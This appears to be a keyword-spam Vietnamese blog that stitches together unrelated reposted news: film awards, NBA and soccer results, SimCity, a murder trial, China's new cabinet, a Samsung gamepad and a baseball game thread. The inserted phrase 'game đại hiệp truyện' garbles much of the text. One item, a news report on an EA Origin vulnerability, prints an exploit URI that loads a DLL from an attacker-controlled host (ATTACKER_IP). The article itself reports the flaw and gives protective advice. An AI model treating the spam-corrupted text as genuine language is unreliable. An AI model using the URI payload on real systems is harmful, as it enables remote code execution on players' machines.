Thứ Hai, 18 tháng 3, 2013

Thiên mệnh anh hùng thắng thuyết phục


Đại hiệp truyện

Thiên mệnh anh hùng thắng thuyết phục

Chiến thắng của Thiên mệnh anh hùng ở hạng mục phim truyện điện ảnh đã làm thỏa mãn giới chuyên môn lẫn đông đảo khán giả.



Đêm trao giải Cánh diều 2012 diễn ra vào tối qua 9.3 tại Nhà hát Truyền hình TP.HCM không vướng nhiều “sạn” như những năm trước, đúng nghĩa “một đêm hội ấm áp cho những người trong nghề” như đạo diễn Quyền Linh chia sẻ. Đông đảo khán giả và người làm nghề đã tỏ ra hài lòng khi đêm trao giải có nhiều tiết mục thú vị (như hoạt cảnh đoàn làm phim nhí), trang trọng tôn vinh 2 NSND Huy Thành và NSND Trương Qua.

NSND, đạo diễn Đặng Nhật Minh - thành viên Ban giám khảo phim truyện nhựa, đã chia sẻ ngắn gọn với PV Thanh Niên ngay sau công bố Cánh diều vàng dành cho Thiên mệnh anh hùng: “Bộ phim đã đạt được sự đồng thuận cao của tất cả các thành viên giám khảo, không có một ý kiến phản bác nào bởi trong mặt bằng chung các phim dự giải năm nay, Thiên mệnh anh hùng đạt được chất lượng tốt nhất về mọi khâu: thể loại mới thành công, thủ pháp đạo diễn có nghề, bố cục phim mạch lạc tạo ra được sự hấp dẫn, hình ảnh hoành tráng, võ thuật gây hút mắt, diễn xuất của diễn viên đồng bộ…”.

Thiên mệnh anh hùng ngay từ khi ra mắt năm ngoái, vào dịp Tết 2012, đã được công chúng, báo giới đánh giá cao, được xem là tác  phẩm có những dấu ấn mở đường cho thể loại phim kiếm hiệp, lịch sử của điện ảnh Việt, đã “dũng cảm khai thông bế tắc lâu nay của dòng phim lịch sử - dã sử Việt Nam”. Bên cạnh sự thành công về chuyên môn, Thiên mệnh anh hùng cũng mang tính giải trí cao và đã thành công  trong việc thu hút khán giả, đồng thời đánh dấu sự hiện đại, đột phá hơn của phim Việt về công nghệ, kỹ xảo.
 
Một số giải khác

Phim truyện nhựa: Quay phim xuất sắc phim truyện nhựa: Nguyễn K’Linh (phim Thiên mệnh anh hùng); Họa sĩ thiết kế xuất sắc: Phạm Quang Vĩnh (phim Mùa hè lạnh); Âm thanh xuất sắc: Trần Đức Quang - Trần Anh Khoa (phim Thiên mệnh anh hùng); Âm nhạc: nhạc sĩ Lương Minh (phim Lạc lối). Nam nữ diễn viên phụ: Hứa Vỹ Văn (phim Đam mê) và Maya trong Scandal.

Với sự nổi trội trong “bó đũa phim dự giải” của Thiên mệnh anh hùng và Scandal (đoạt được giải Báo chí - Phê bình điện ảnh cho phim truyện điện ảnh xuất sắc nhất năm 2012 trong khuôn khổ giải Cánh diều 2012), đạo diễn Việt kiều Mỹ 38 tuổi Victor Vũ giành giải Đạo diễn xuất sắc nhất hạng mục phim truyện nhựa hoàn toàn xứng đáng. 5 năm về nước, Victor Vũ đã làm 5 phim, phim sau chất lượng cao hơn phim trước.

Phim Lạc lối chưa chiếu cho khán giả, giám khảo thì xem phim qua DVD chất lượng kỹ thuật thấp vì chưa in tráng ra phim nhựa kịp đã đoạt giải Cánh diều bạc. Một bất ngờ ở hạng mục Nam nữ diễn viên chính xuất sắc phim truyện nhựa, khi Thái Hòa dù rất xuất sắc với vai gã bán vé số “biến thái” trong Lấy chồng người ta đã để vuột giải về tay Huỳnh Đông trong Thiên mệnh anh hùng.

Ở lĩnh vực phim truyền hình, gây bất ngờ nhất là bộ phim lịch sử 34 tập Thái sư Trần Thủ Độ. Phim làm nhân dịp mừng 1.000 năm đại lễ Thăng Long, tốn không biết bao nhiêu tiền của, công sức (56 tỉ đồng) nhưng đến nay vẫn chưa được lên sóng, đã giành được nhiều giải thưởng lớn như giải Vàng phim hay nhất, Đạo diễn xuất sắc nhất cho Đào Duy Phúc, Biên kịch xuất sắc: nhà văn Nguyễn Mạnh Tuấn. Đạo diễn Đặng Tất Bình - Hãng phim truyện 1 khi nhận giải chỉ “mong muốn các đài sớm có lịch cho phim lên sóng chiếu cho khán giả; và mong rằng phim truyền hình sẽ chú trọng đến dòng phim lịch sử”. Hạng mục Nam - nữ diễn viên chính phim truyền hình được trao cho diễn viên Quý Bình và Huệ Minh.


Đại Hiệp Truyện
Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình


Bug in EA’s Origin game đại hiệp truyện platform allows attackers to hijack player PCs

Bug in EA’s Origin game đại hiệp truyện platform allows attackers to hijack player PCs

More than 40 million people could be affected by a vulnerability researchers uncovered in EA's Origin online game đại hiệp truyện platform allowing attackers to remotely execute malicious code on players' computers.

The attack, demonstrated on Friday at the Black Hat security conference in Amsterdam, takes just seconds to execute. In some cases, it requires no interaction by victims, researchers from Malta-based ReVuln (@revuln) told Ars. It works by manipulating the uniform resource identifiers EA's site uses to automatically start game đại hiệp truyệns on an end user's machine. By exploiting flaws in the Origin application available for both Macs and PCs, the technique turns EA's popular game đại hiệp truyện store into an attack platform that can covertly install malware on customers' computers.

"The Origin platform allows malicious users to exploit local vulnerabilities or features by abusing the Origin URI handling mechanism," ReVuln researchers Donato Ferrante and Luigi Auriemma wrote in apaper accompanying last week's demonstration. "In other words, an attacker can craft a malicious Internet link to execute malicious code remotely on [a] victim's system, which has Origin installed."

The researchers' demo shows them taking control of a computer that has the Origin client and Crysis 3 game đại hiệp truyện installed. Behind the scenes, the EA platform uses the origin://Launchgame đại hiệp truyện/71503 link to activate the game đại hiệp truyện. When a targeted user instead clicks on a URI such as origin://Launchgame đại hiệp truyện/71503?CommandParams= -openautomate \\ATTACKER_IP\evil.dll, the Origin client will load a Windows dynamic link library file of the attackers' choosing on the victim's computer.

Update: "Our team is constantly investigating hypotheticals like this one as we continually update our security infrastructure," an EA spokesman wrote in an e-mail to Ars.

The attack is similar to an exploit the same researchers demonstrated in October on Steam, a competing online game đại hiệp truyện platform from Valve, with 50 million users. The earlier attack relied on booby-trapped URLs starting with "Steam://" to trick browsers, game đại hiệp truyệns, e-mail clients, and other applications into executing code that could compromise the security of the underlying computer. At the time, the researchers advised vulnerable end users to protect themselves against exploits by disabling the automatic launching of Steam:// URLs.

The Origin attack works much the same. It exploits the functionality that allows sites to start game đại hiệp truyệns remotely. By modifying the variables in the underlying URI links, the commands to start a game đại hiệp truyện can be replaced with instructions that cause a computer to install a malicious program instead. One such command, which was included in the demo, is related to the OpenAutomate standard used in software provided with graphics cards from Nvidia. The technique works against people who have installedCrysis 3 and a variety of other game đại hiệp truyệns. Other techniques work against machines with different titles installed.

When an origin:// link is opened for the first time, browsers will typically ask if a user wants it to open in the Origin client, which is the registered application for such URLs. Different browsers handle these links differently, with some displaying full paths, others showing only parts of them, and still others not displaying the URL at all. Some confirmation prompts give users the option of using the Origin client to open all origin:// links encountered in the future. Many game đại hiệp truyệnrs choose this setting so they aren't prompted in the future. Those users who have selected this setting may not be required to take any interaction to be attacked. Users who want to protect themselves should make sure they are prompted before Origin links are processed.
Đại Hiệp Truyện - Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

Garnett misses Heat game đại hiệp truyện with injury, illness

Garnett misses Heat game đại hiệp truyện with injury, illness

BOSTON (AP) -- Kevin Garnett is out of the lineup for the Boston Celtics as they try to stop the Miami Heat's 22-game đại hiệp truyện winning streak.

Garnett has the flu and a strain in his left thigh, coach Doc Rivers said before Monday night's game đại hiệp truyện. He said Garnett would have played if he didn't have the flu.

Garnett missed Saturday night's 105-88 victory over the Charlotte Bobcats with the thigh injury. The Celtics have won their last 11 home game đại hiệp truyệns starting with a 100-98 double-overtime win over the Heat on Jan. 27, Boston's first game đại hiệp truyện after Rajon Rondo sustained a season-ending knee injury.

Miami's 22-game đại hiệp truyện streak is tied with Houston for the second-longest in NBA history. The Celtics ended the Rockets' streak five years ago to the day.
  Đại Hiệp Truyện - Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

Tracy McGrady game đại hiệp truyện peeled to Heat's run

Tracy McGrady game đại hiệp truyện peeled to Heat's run

Tracy McGrady, who played on the previous NBA team to win 22 straight game đại hiệp truyệns, says the streak his 2007-2008 Houston Rockets went on was more impressive than the Miami Heat's 22-game đại hiệp truyện streak.

"I'm enjoying watching because of the unknown," McGrady, by text, said of the Heat's run. "But the way we did it was a lot harder. Having Yao [Ming] go out [due to injury] around the 12th game đại hiệp truyện and Dikembe [Mutombo] filling his role was huge for our team. And we didn't have three guys making $100 million."


The way we did it was a lot harder. Having Yao [Ming] go out [due to injury] around the 12th game đại hiệp truyện and Dikembe [Mutombo] filling his role was huge for our team. And we didn't have three guys making $100 million.”-- Tracy McGrady, comparing Houston's 22-game đại hiệp truyện winning streak to Miami's equivalent run

During their season, All-Stars McGrady and Yao led a good-but-not-great Houston club to 12 straight victories. But Yao broke his left foot in the 12th game đại hiệp truyện, leaving 41-year-old Mutombo to step into the starting lineup at center. The Rockets continued to roll, though, winning 10 more times before losing to Boston on March 18, 2008, without the level of talent of "three guys making $100 million" -- referring to Miami'sLeBron James, Dwyane Wade and Chris Bosh.

The Rockets eventually lost to Utah in the first round of the playoffs.

McGrady, who played in the Chinese Basketball Association this past winter, is not the only person with NBA ties watching the Heat's charge with great interest. Miami's chase of one of the great records in all of sports -- the 1971-72 Lakers' 33-game đại hiệp truyện winning streak -- has been a topic of discussion throughout the league.

In an informal poll of league executives, coaches and scouts who were asked if they believed the Heat would break the Lakers' record, of the 44 responses, 32 said "no" and only 12 said "yes."

Those who do not believe Miami will surpass 33 straight wins mentioned obstacles such as coach Erik Spoelstra potentially deciding to rest his players for the postseason, and the media frenzy that is expected to envelop the Heat (an NBA-best 51-14) as they approach the record.

"I doubt they reach 33," one coach said. "At some point, Spoelstra will rest his crew. They're 11 game đại hiệp truyệns ahead in the East."

Spoelstra has implied recently, however, that he will wait until the last week of the season to rest his top players. If the Heat break the record April 9 by beating Milwaukee for their 34th consecutive win, they would have five game đại hiệp truyệns and eight more days remaining in the regular season. That would give the Heat plenty of time to both break the record and rest for the playoffs.

Not everyone is focused on the Heat's historic chase, though.

Kobe Bryant, who is nursing a sprained ankle while his Lakers make their push for a Western Conference playoff berth, implied he couldn't care less about Miami's winning ways. When asked in a text whether he thinks the Heat will break the Lakers' record, he responded: "Did you really ask me that?? Lol"
Đại Hiệp Truyện - Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

SimCity players offered free EA game đại hiệp truyện

SimCity players offered free EA game đại hiệp truyện

Players who buy and register the latest version of SimCity before 26 March canchoose a free game đại hiệp truyện from a selection offered by Electronic Arts.

The free game đại hiệp truyệns, available as digital downloads, include recent releases Mass Effect 3, Plants vs Zombies and Bejeweled 3.

The move follows connection problems and glitches caused by EA's decision to make SimCity an online-only game đại hiệp truyện.

Earlier EA admitted that the game đại hiệp truyện was originally going to be single player.

However those proposals were shelved early in the development of the latest version.

The admission came as players are finding ways to get round the game đại hiệp truyện's need to be constantly connected.

Lucy Bradshaw, head of SimCity creator Maxis, said an offline, single-player mode did not fit with its "vision" for the urban-planning game đại hiệp truyện.

She said many players preferred the multiplayer version of the game đại hiệp truyện.Player control

In a blogpost, Ms Bradshaw said Maxis could have built a "subset offline mode" for the game đại hiệp truyện that did away with the need to be constantly connected.

Since SimCity was launched on 5 March, many players have blamed the "always online" requirement for causing bugs, in-game đại hiệp truyện glitches and long waits to play the game đại hiệp truyện.

To get around the always-on requirement, some players have tinkered with the game đại hiệp truyện's computer code to trick it into thinking it is connected when it is being played offline. Others have called on Maxis to produce a stand-alone version of the game đại hiệp truyện.

But Ms Bradshaw said the always-on requirement was "fundamental" to what the company wanted to do with SimCity and it was "designed" with multiplayer in mind.

The decision to do this had not come from "corporate and it isn't a clandestine strategy to control players", wrote Ms Bradshaw.

Maxis had gone down the multiplayer road to make the simulation more realistic by letting cities in the same virtual landscapes share elements such as pollution, crime and resources such as coal, she said.

The multiplayer element was also essential for other aspects of the game đại hiệp truyện, including the building of historic buildings and landmarks and to help players cope with world events and challenges.

There were undoubtedly some players that wanted to build a "single city in isolation" as in older game đại hiệp truyệns but just as many were "loving the always-connected functionality", she said.
 Đại Hiệp Truyện - Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

Trên 120 năm tù cho 10 bị cáo giết người vì game đại hiệp truyện

Trên 120 năm tù cho 10 bị cáo giết người vì game đại hiệp truyện

Tại phiên xử sơ thẩm ngày 18/3, Tòa án nhân dân tỉnh Lâm Đồng đã tuyên phạt 10 bị cáo tổng cộng 122 năm tù về tội giết người sau khi mâu thuẫn chơi game đại hiệp truyện trên mạng Internet.

Theo cáo trạng, khi chơi game đại hiệp truyện Audition trên Internet, Hoàng Đình Khôi (sinh năm 1990, tạm trú Bảo Lộc, Lâm Đồng) có mâu thuẫn với một người tên Mậu. Sau đó, Mậu thách thức Khôi lên quán Internet TiTan (đường Phù Đổng Thiên Vương, TP. Đà Lạt) để giải quyết.

Ngày 5/7/2012, Khôi rủ thêm bạn cùng chơi game đại hiệp truyện với mình ở Bảo Lộc là Nguyễn Thanh Minh (sinh năm 1995), Nguyễn Hồng Phước (sinh năm 1993) và Nguyễn Tuấn Vũ (sinh năm 1990) lên Đà Lạt. Đến nơi, Khôi rủ thêm Nguyễn Đỗ Anh Vũ (sinh năm 1989), Trần Đức Mạnh (sinh năm 1988), cùng ngụ Đà Lạt, và bắt đầu thăm dò tình hình.

Sau khi được người tên Mậu gọi điện tiếp tục thách thức, nhóm của Khôi rủ thêm Nguyễn Tỷ Phú (sinh năm 1988), Nguyễn Trần Anh Kha (sinh năm 1991), Nguyễn Bá Sơn (sinh năm 1990) và Nguyễn Quốc Dũng (sinh năm 1986), cùng ngụ Đà Lạt, để đi “nói chuyện” với nhóm của Mậu.

Lúc này, nhóm của Khôi đã chuẩn bị sẵn hung khí và đi đến quán TiTan. Tại đây cả nhóm gặp Trần Văn Đại Nam (18 tuổi, ngụ huyện Đức Trọng, Lâm Đồng), tưởng Nam là Mậu nên Nguyễn Thanh Minh liền dùng dao đâm 2 nhát vào lưng của Nam. Khi Nam bỏ chạy ra ngoài thì nhóm của Khôi tiếp tục truy sát, dùng dao, rựa liên tiếp đâm, chém vào người nạn nhân đến khi Nam gục ngã.

Qua giám định pháp y, Nam bị đâm, chém tổng cộng 16 nhát và tử vong do suy hô hấp, trụy tim mạch.

Ngày 6/7/2012, Khôi và đồng phạm đã bị Công an tỉnh Lâm Đồng bắt tạm giam để phục vụ điều tra.

Xét thấy nhóm hung thủ trẻ có hành vi phạm tội đặc biệt nghiêm trọng nên Tòa án tỉnh Lâm Đồng đã tuyên phạt tổng cộng 122 năm tù cho 10 bị cáo.

Cụ thể, Hoàng Đình Khôi 18 năm tù; Trần Đức Mạnh 16 năm; Nguyễn Thanh Minh 15 năm; Nguyễn Hồng Phước 13 năm; Nguyễn Tuấn Vũ, Nguyễn Đỗ Anh Vũ, Nguyễn Tỷ Phú cùng 12 năm tù; Nguyễn Quốc Dũng 10 năm; Nguyễn Bá Sơn và Nguyễn Trần Anh Kha cùng chịu hình phạt 7 năm tù.

Ngoài ra, gia đình 10 bị cáo cũng phải bồi thường thiệt hại cho gia đình nạn nhân số tiền 300 triệu đồng./.

Đại Hiệp Truyện
Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình


Chủ Nhật, 17 tháng 3, 2013

Quốc hội Trung Quốc thông qua thành phần Chính phủ mới


Kính chào các game thủ Đại hiệp truyện, Quốc hội Trung Quốc thông qua thành phần Chính phủ mới đã có những biến triễn như thế nào?

Theo phóng viên Báo Nhân Dân thường trú tại Trung Quốc, chiều 16-3, tại Ðại lễ đường Nhân dân ở Thủ đô Bắc Kinh, kỳ họp thứ nhất Ðại hội đại biểu nhân dân toàn quốc (QH) Trung Quốc khóa 12 tiếp tục phiên họp toàn thể thứ sáu.

Tới dự có các đồng chí: Tập Cận Bình, Tổng Bí thư Ðảng CS Trung Quốc, Chủ tịch nước CHND Trung Hoa; Trương Ðức Giang, Chủ tịch QH; Lý Khắc Cường, Thủ tướng Chính phủ; Du Chính Thanh, Chủ tịch Chính hiệp; các đồng chí trong Thường vụ Bộ Chính trị Ðảng CS Trung Quốc; nhiều cán bộ lãnh đạo cấp cao của Ðảng và Nhà nước cùng các đại biểu chính thức, đông đảo phóng viên báo chí trong nước và nước ngoài. Tại phiên họp này, các đại biểu đã bầu các chức danh Phó Thủ tướng, Ủy viên Quốc vụ, Bộ trưởng các bộ, Chủ nhiệm các ủy ban, Thống đốc Ngân hàng Nhà nước, Tổng Kiểm toán Nhà nước và Tổng Thư ký Quốc vụ viện; và thông qua dự thảo danh sách Chủ nhiệm, Phó chủ nhiệm, ủy viên các Ủy ban chuyên môn của QH khóa 12.

Các đồng chí được bầu làm Phó Thủ tướng gồm: Trương Cao Lệ; Lưu Diên Ðông; Uông Dương và Mã Khải. Các đồng chí Dương Tinh, Thường Vạn Toàn, Dương Khiết Trì, Quách Thanh Côn, Vương Dũng được bầu làm Ủy viên Quốc vụ, trong đó đồng chí Dương Tinh kiêm Tổng Thư ký Quốc vụ viện. Thành viên Chính phủ mới bao gồm: Bộ trưởng Ngoại giao Vương Nghị; Bộ trưởng Quốc phòng Thường Vạn Toàn; Bộ trưởng Công an Quách Thanh Côn; Bộ trưởng An ninh Quốc gia Cảnh Huệ Xương; Bộ trưởng Dân chính Lý Lập Quốc; Bộ trưởng Tài chính Lâu Kế Vĩ; Chủ nhiệm Ủy ban Phát triển và Cải cách Nhà nước Từ Thiệu Sử; Bộ trưởng Giáo dục Viên Quý Nhân; Bộ trưởng Khoa học Kỹ thuật Vạn Cương; Bộ trưởng Công nghiệp và Công nghệ Thông tin Miêu Vu; Chủ nhiệm Ủy ban Dân tộc Nhà nước ông Vương Chính Vĩ; Bộ trưởng Giám sát Hoàng Thụ Hiền; Bộ trưởng Tư pháp Ngô Ái Anh; Bộ trưởng Nguồn nhân lực và An sinh xã hội Doãn Úy Dân; Bộ trưởng Tài nguyên đất đai Khương Ðại Minh; Bộ trưởng Bảo vệ môi trường Chu Minh Hiền; Bộ trưởng Giao thông vận tải Dương Truyền Ðường; Bộ trưởng Thủy lợi Trần Lôi; Bộ trưởng Nông nghiệp Hàn Trường Phú; Bộ trưởng Thương mại Cao Hổ Thành; Bộ trưởng Văn hóa Thái Vũ; Chủ nhiệm Ủy ban Kế hoạch hóa gia đình và Y tế Nhà nước Lý Bân; Thống đốc Ngân hàng Trung ương Chu Tiểu Xuyên; Tổng Kiểm toán Nhà nước Lưu Gia Nghĩa.


Đại Hiệp Truyện
Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

Messi scores in 18th straight league game đại hiệp truyện

Messi scores in 18th straight league game đại hiệp truyện

BARCELONA, Spain (AP) — Lionel Messi extended his Spanish league scoring streak record to 18 game đại hiệp truyệns, getting two goals to move into seventh place on the La Liga career list and lead Barcelona over visiting Rayo Vallecano 3-1 Sunday.

Messi set up David Villa for Barcelona's opener in the 25th minute, and Villa returned the favor in the 40th. Messi made it 3-0 in the 57th with a delicate chip, his league-leading 42nd goal this season and 55th overall.

With his 19th multigoal game đại hiệp truyện this season, Messi increased his La Liga total to 211, one more than Pahino. The 25-year-old trails only Telmo Zarra (251), Hugo Sanchez (234), Raul Gonzalez (228), Alfredo di Stefano (227), Cesar Rodriguez (223) and Quini (219).

Barcelona (24-2-2) holds a 13-point lead over defending champion Real Madrid (19-5-4) with 10 game đại hiệp truyệns left.

In the second division, American defender Carlos Bocanegra was dressed but did not play in Racing Santander's 1-1 home tie against Xerez. The U.S. captain hasn't played since Feb. 2.

LONDON (AP) — Frank Lampard scored his 200th goal for Chelsea, and the Blues beat visiting West Ham 2-0 Sunday to move past Tottenham into third place in the English Premier League.

Lampard scored in the 19th minute, moving with two of Bobby Tambling's Chelsea record, and Eden Hazard added a goal in the 50th. Lampard has 12 goals this season; the 34-year-old midfielder's contract expires at the end of the season and Chelsea has not offered him a new deal.

"Everyone keeps talking about the goal-scoring record," Lampard said. "I would rather people kept quiet. The important thing is trying to score goals to win game đại hiệp truyệns."

Lampard played for West Ham from 1995-01 and West Ham fans appeared to throw coins at him after he scored, although they failed to hit him.

Chelsea (16-6-7) has 55 points, one ahead of Tottenham (16-8-6) and five in front of Arsenal (14-7-8). The top three teams earn spots in the group stage of next season's Champions League, while the fourth-place team goes to the playoff round.

Tottenham lost 1-0 at home to Fulham, with Dimitar Berbatov scoring against his former club in the 52nd minute. American midfielder Clint Dempsey returned from a calf strain and entered at the start of the second half, his first appearance since Feb. 21.

Wigan beat visiting Newcastle 2-1 on Arouna Kone's stoppage-time goal and Sunderland was held to a 1-1 tie at home against Norwich.

AMSTERDAM (AP) — American forward Jozy Altidore scored his 25th goal of the season as AZ Alkmaar lost 3-2 at home to first-place Ajax in the Dutch Eredivisie.

With the hosts trailing 3-1, Altidore scored in the 74th minute, his 18th league goal this season.

Siem de Jong scored twice and Daley Blind once as Ajax won at Alkmaar for the first time since 2009.

MILAN (AP) — Napoli kept its slim Serie A title hopes alive with a 3-2 win over Atalanta , while AC Milan maintained its challenge for second place by beating struggling Palermo 2-0 on a pair of goals by Mario Balotelli

Edison Cavani scored twice for Napoli and Goran Pandev got the go-ahead goal in the 81st.

Juventus (20-4-5) has a nine-point lead over Napoli (16-4-8), which is two points in front of Milan (16-7-6) with nine game đại hiệp truyệns remaining.

Francesco Totti moved past Gunnar Nordahl into sole possession of second on the Serie A career scoring list, helping Roma beat Parma 2-0. Erik Lamala also scored for the hosts.

American midfielder Michael Bradley entered in the 68th minute. He hasn't played a full match since Feb. 24.

PARIS (AP) — David Beckham made his first league start for Paris Saint-Germain, which wasted a two-goal lead and tied 2-2 at fourth-place Saint-Etienne.

Javier Pastore scored in the ninth minute and Zlatan Ibrahimovic converted a twice-taken penalty kick in the 19th for his league-leading 25th goal. But the hosts rallied when Alex had an own goal in the 37th and Francois Clerc scored on a curling shot in the 72nd.

PSG (17-5-6) has a five-point lead over second-place Lyon (15-6-8), which lost 4-1 at Bastia on Saturday. Marseille (15-8-6) is another two points back.

Đại Hiệp Truyện
Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

Samsung game đại hiệp truyện Pad pops up on Galaxy S4 site, outs Note 3?

Samsung game đại hiệp truyện Pad pops up on Galaxy S4 site, outs Note 3?

The gaming controller works with devices up to 6.3 inches, perhaps suggesting Samsung is planning a bigger phablet, or should we be calling it a "tabone?"

This could soon be how enjoy a quick game đại hiệp truyện on our big ol' tabones.(Credit: Screenshot by Eric Mack/CNET)

During its bizarre unveiling of the Galaxy S4, there were a few accessories that Samsung didn't get to spend much time on. For example, some reporters later stumbled upon a wireless charging feature, and a prototype of a nifty gaming controller that docks with some Galaxy devices while pairing via Bluetooth has also popped up.

The controller is dubbed simply the "game đại hiệp truyện Pad" and looks an awful lot like it came off of anXbox 360. Samsung says it is capable of one-touch Bluetooth pairing via Samsung's funky NFCTectile system, which works with the Galaxy S3 and Galaxy S2 as well, among others. It also functions as a remote control for use with your bigger screens at home.

What's perhaps most interesting about this fairly standard little controller, however, is one little note that's currently on the game đại hiệp truyện Pad page on Samsung's Galaxy S4 microsite. It notes "4"~6.3" screen size available," which is curious because Samsung's biggest phone at the moment is the Note 2 with a screen size of 5.5 inches.

That is food for speculation right there. Is Samsung planning an even larger phablet? Will the Note 3 be a whopping 6.3 inches? And if so, will it throw the world of pants pocket design into utter chaos?

At that size it's really becoming more tablet than phone, right? Which means it's really more accurate to call it a "tabone." I know what you're thinking, but does it really sound more weird than "phablet?"

Let's just embrace it. Ladies and gentlemen, I'd like to be the first to declare that I believe Samsung's new game đại hiệp truyện Pad has just outed the world's first tabone.
Đại Hiệp Truyện Thiên 
Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

game đại hiệp truyện thread: Mariners starter Blake Beavan needs strong outing against Rangers

game đại hiệp truyện thread: Mariners starter Blake Beavan needs strong outing against Rangers

Just in case you weren’t tuned in to Sirius XM Sports earlier today, here’s my appearance on the fantasy baseball show with Craig Mish.

Blake Beavan got through six innings on 61 pitches today, giving up a run on three hits to help the Mariners hold their 2-1 lead. We’re now into the eighth with the score still the same. Carter Cappsmowed through the Rangers in the seventh with two striekouts and a lineout to center.

As far as Beavan goes, we’ll have to ask him about some of those deep fly balls he gave up. I know he’s worked to keep his pitches down and get more ground balls — there were plenty of those today. But there were also quite a few balls hit in the air and some of them pretty deep. Again, this was not a regular MLB lineup he was facing today, so you have to temper some of the stats enthusiasm. Will be interesting to see what Eric Wedge thought of his outing.

2:44 p.m.: Well, the Mariners finally got a hit and it was a big one as Raul Ibanez unloaded on a Joe Nathan offering in the fourth with a runner on and sent it screaming deep on to the grass berm beyond the right field wall. So, it’s now a 2-1 game đại hiệp truyện, Mariners in the lead. Blake Beavan got the side in order to start the fifth, though Lewis Brinston hit him hard for the second time today and drove one to the warning track in right center before it was hauled in for the final out of the frame.

Felix Hernandez threw four innings of three-hit ball in that Class A game đại hiệp truyện over on the other field. He had a tough time in the first inning, missing the zone with quite a few pitches, but eventually settled in a gave up a lone run on three hits. One of the hits was a double and Hernandez also hit a batter with an 0-2 pitch while trying to go inside. He struck out six, didn’t walk anyone and reached his 65-pitch target.





2:02 p.m.: Blake Beavan didn’t fare so well the second time around against this Texas Rangers lineup andf trails 1-0 midway through the fourth. The big hit was by Jim Adduci, who sent a towering drive off the top of the batter’s eye in dead center for a one-out triple. Adduci — a Canadian, I have to add — had that earlier blast to the warning track in the first inning. Anyhow, the next guy up, Lance Berkman, doubled down the left field line to bring in the run. Jeff Baker (not a Canadian, but close enough) then singled to left field and an error by Kyle Seager on the relay back in put runners at second and third with only one out.

But Beavan caught a break when Brandon Snyder lined out to second for the second out. An ensuing groundout by Konrad Schmidt ended the threat. But make no mistake: Beavan was hit pretty good that frame.

Another thing I’ve noticed today is that the Mariners appear to be sleepwalking through this game đại hiệp truyện. Maybe it’s that point in the spring, with most regular jobs already decided. Perhaps it’s the competition. But everybody looks a little sluggish out there. From the Seager error, to Franklin Gutierrez somewhat lazily heaving the ball back in without much urgency as Adduci was gunning it for third base, I haven’t been too impressed so far. Might be if the Mariners could manage a baserunner, but we’ll just have to wait on that, it would appear.

1:50 p.m.: Tough to tell which pitcher is having the tougher day: Felix Hernandez over on the other field pitching in a Class A game đại hiệp truyện, or Blake Beavan over here facing a Texas Rangers farm team. Beavan has retired all nine batters he faced, dropping a nice curve in on Lewis Brinson to end the third. Of the nine outs recorded, five have come on grounders, the other a strikeout, two on well-hit balls to the outfield and one was a soft liner to the shortstop.

Tough to get a read on this because, it bears repeating, Beavan isn’t exactly facing the “A” team here. Or even the “C” team. What worries me is that the Mariners have yet to get a baserunner either. Scoreless as we enter the fourth.

1:40 p.m.: Blake Beavan has done a pretty good job of keeping the ball down today and has retired all six batters faced. Four of the outs have come on ground balls, which is encouraging for him. He did, however, make a couple of mistakes and nearly paid for it.

Jim Adduci took him to the warning track in deep left before Raul Ibanez hauled the ball in during the first inning. And Konrad Schmidt got his bat on the ball pretty good in the second inning and lined it to right center, where it was caught by Jason Bay. Some better hitters than those two might have done more with the pitches, especially the one Adduci hit. Mariners catcher Kelly Shoppach went out and spoke to Beavan briefly after that flyball and he got his pitches lower after that.

The Mariners have gone six up, six down against Michael Kirkman. Still scoreless after two.

11:26 a.m.: These aren’t your one-year-old twin’s Texas Rangers showing up here today to face the Mariners and starting pitcher Blake Beavan. In fact, the Rangers appear to be taking this whole “hide your regulars so you don’t over-expose them too soon” thing a bit too seriously. I mean, sure, the Mariners have Felix Hernandez throwing a minor league game đại hiệp truyện today for Class A High Desert at 1 p.m. PT so that the Rangers don’t see him right before they face each other in the regular season.

But, well, MLB rules do require that a certain number of actual players show up for road game đại hiệp truyệns. Today, Beavan will face Lance Berkman and, um…well, I’m partial to Jeff Baker for obvious reasons even though he can’t spell his first name.

Seriously, though, this Rangers lineup is a joke. Not sure what we’re going to be able to tell about Beavan based off his results today. So, unless he gets creamed by these guys, we’ll have to look at stuff well beyond his stats.

Franklin Gutierrez is back in there as manager Eric Wedge promised us he would be yesterday. Gutierrez has missed a week, so he has to start playing regularly and get his timing down.

Đại Hiệp Truyện
Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

Chỉ có trò chơi PC ‘mới thực sự là game đại hiệp truyện’

Chỉ có trò chơi PC ‘mới thực sự là game đại hiệp truyện’

Ông Nguyễn Tuấn Huy, Giám đốc Emobi game đại hiệp truyệns, chia sẻ quan điểm làm game đại hiệp truyện của studio và thẳng thắn nhận định về tương lai của ngành game đại hiệp truyện Việt.

Dù được cộng đồng quan tâm, song 7554 vẫn không thể thành công về mặt doanh số.

- Mảng game đại hiệp truyện PC của Việt Nam sau hơn 5 năm phát triển vẫn chưa có được thành công nào. Là một trong các đơn vị tiên phong trong lĩnh vực này, ông có thể chia sẻ lí do là gì?

- Tôi nghĩ, chẳng có gì khó hiểu và cũng chưa có gì phải buồn cả. Ngành sản xuất game đại hiệp truyện Việt mới chỉ xuất hiện trong một thời gian ngắn, số lượng game đại hiệp truyện PC lại càng ít. Chúng ta chẳng có cái gì thuận lợi trong tay để có thể đạt tới thành công ngay. Kinh nghiệm không, nhân lực không, công nghệ không...

Có người nói, chúng ta nên sáng tạo để thành công, điều này chắc chắn đúng. Nhưng mọi người quên, là ngay cả cách sáng tạo, người Việt Nam cũng rất ít được học, được đào tạo. Và muốn sáng tạo anh cũng phải bắt nguồn từ cơ sở của những tri thức vững chắc. Nếu một ý tưởng game đại hiệp truyện "sáng tạo" nhưng không biết có làm nổi không, thì không có ý nghĩa. Hoặc, đôi khi một ý tưởng hay nhưng không có người làm tốt, thì ý tưởng đó cũng chẳng hoàn thiện được.

